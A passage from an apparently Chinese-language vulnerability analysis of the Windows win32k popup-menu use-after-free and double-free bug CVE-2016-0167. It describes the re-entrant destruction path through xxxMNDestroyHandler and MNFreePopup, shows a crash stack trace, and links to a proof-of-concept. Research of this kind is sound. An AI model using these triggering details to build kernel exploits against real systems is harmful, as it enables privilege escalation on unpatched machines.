消息,但由于在验证代码中已设置相关全局变量阻止多次处理,因此并不会在函数 xxWindowHookProc
中更多次调用 DestroyWindow
函数。
接着第二次调用的 xxxMNDestroyHandler
函数根据未被置位的成员标志位 fDelayedFree
对目标弹出菜单对象调用 MNFreePopup
函数以执行销毁操作。在该函数中与目标弹出菜单对象关联的各种内核对象将被销毁,弹出菜单对象的内存将被释放。
当执行流回到第一次调用的 xxxMNDestroyHandler
函数中时,函数将执行相同的释放操作。这将导致对已释放的内存块进行重复释放,导致系统 BSOD 的发生。
# ChildEBP RetAddr
00 96589654 83f25083 nt!RtlpBreakWithStatusInstruction
01 965896a4 83f25b81 nt!KiBugCheckDebugBreak+0x1c
02 96589a68 83f67c6b nt!KeBugCheck2+0x68b
03 96589ae4 94e15e08 nt!ExFreePoolWithTag+0x1b1
04 96589af8 94e15f85 win32k!MNFreePopup+0x95
05 96589b14 94e0e894 win32k!xxxMNDestroyHandler+0x117
06 96589b5c 94e15fc9 win32k!xxxMenuWindowProc+0x515
07 96589b74 94d5d9cd win32k!xxxWrapMenuWindowProc+0x2b
08 96589bc8 94d56142 win32k!xxxFreeWindow+0x184
09 96589c18 94d5e62c win32k!xxxDestroyWindow+0x523
0a 96589c28 83e841ea win32k!NtUserDestroyWindow+0x21
0b 96589c28 773970b4 nt!KiFastCallEntry+0x12a
0c 0088fb9c 75abb300 ntdll!KiFastSystemCallRet
0d 0088fba0 0109bf0f USER32!NtUserDestroyWindow+0xc
0e 0088fbf8 75acc4e7 TempDemo!xxMainWindowProc+0x8f
0x4 利用
和 CVE-2017-0263 漏洞相比,虽然漏洞触发的条件不在同一函数中,并且原理不尽相同,但由于两者同样都是弹出菜单对象销毁期间在函数 MNFreePopup
中最终触发释放后重用漏洞,因此两者利用方式完全相同,在这里将不再赘述,有兴趣的读者可以阅读之前的文章:《从 CVE-2017-0263 漏洞分析到菜单管理组件》。
后记
该漏洞的利用过程通过使用特定的异步和同步的消息请求相互配合,使内核中生成未置位成员标志位 fDelayedFree
的特殊弹出菜单对象,满足漏洞触发条件;通过对目标弹出菜单对象关联的菜单窗口对象触发销毁操作,使内核中的执行流进入漏洞所在函数中,重入漏洞所在函数。利用漏洞细节,使漏洞所在函数的两次调用都进入对目标弹出菜单的销毁处理过程中,得以触发释放后重用和重复释放漏洞。
到当前这篇文章为止,已连续分析了多个弹出菜单 tagPOPUPMENU
对象的释放后重用(UAF)漏洞,因此文章中一些内容存在与前几篇文章内容重复的地方,但漏洞触发原理和细节、漏洞触发的条件不尽相同。
0x5 链接
[0] 本分析的 POC 下载
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp
[1] Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
[2] 从 CVE-2017-0263 漏洞分析到菜单管理组件
https://www.anquanke.com/post/id/102377
[3] 对 UAF 漏洞 CVE-2015-2546 的分析和利用
https://xiaodaozhi.com/exploit/122.html
[4] Kernel Attacks through User-Mode Callbacks
http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf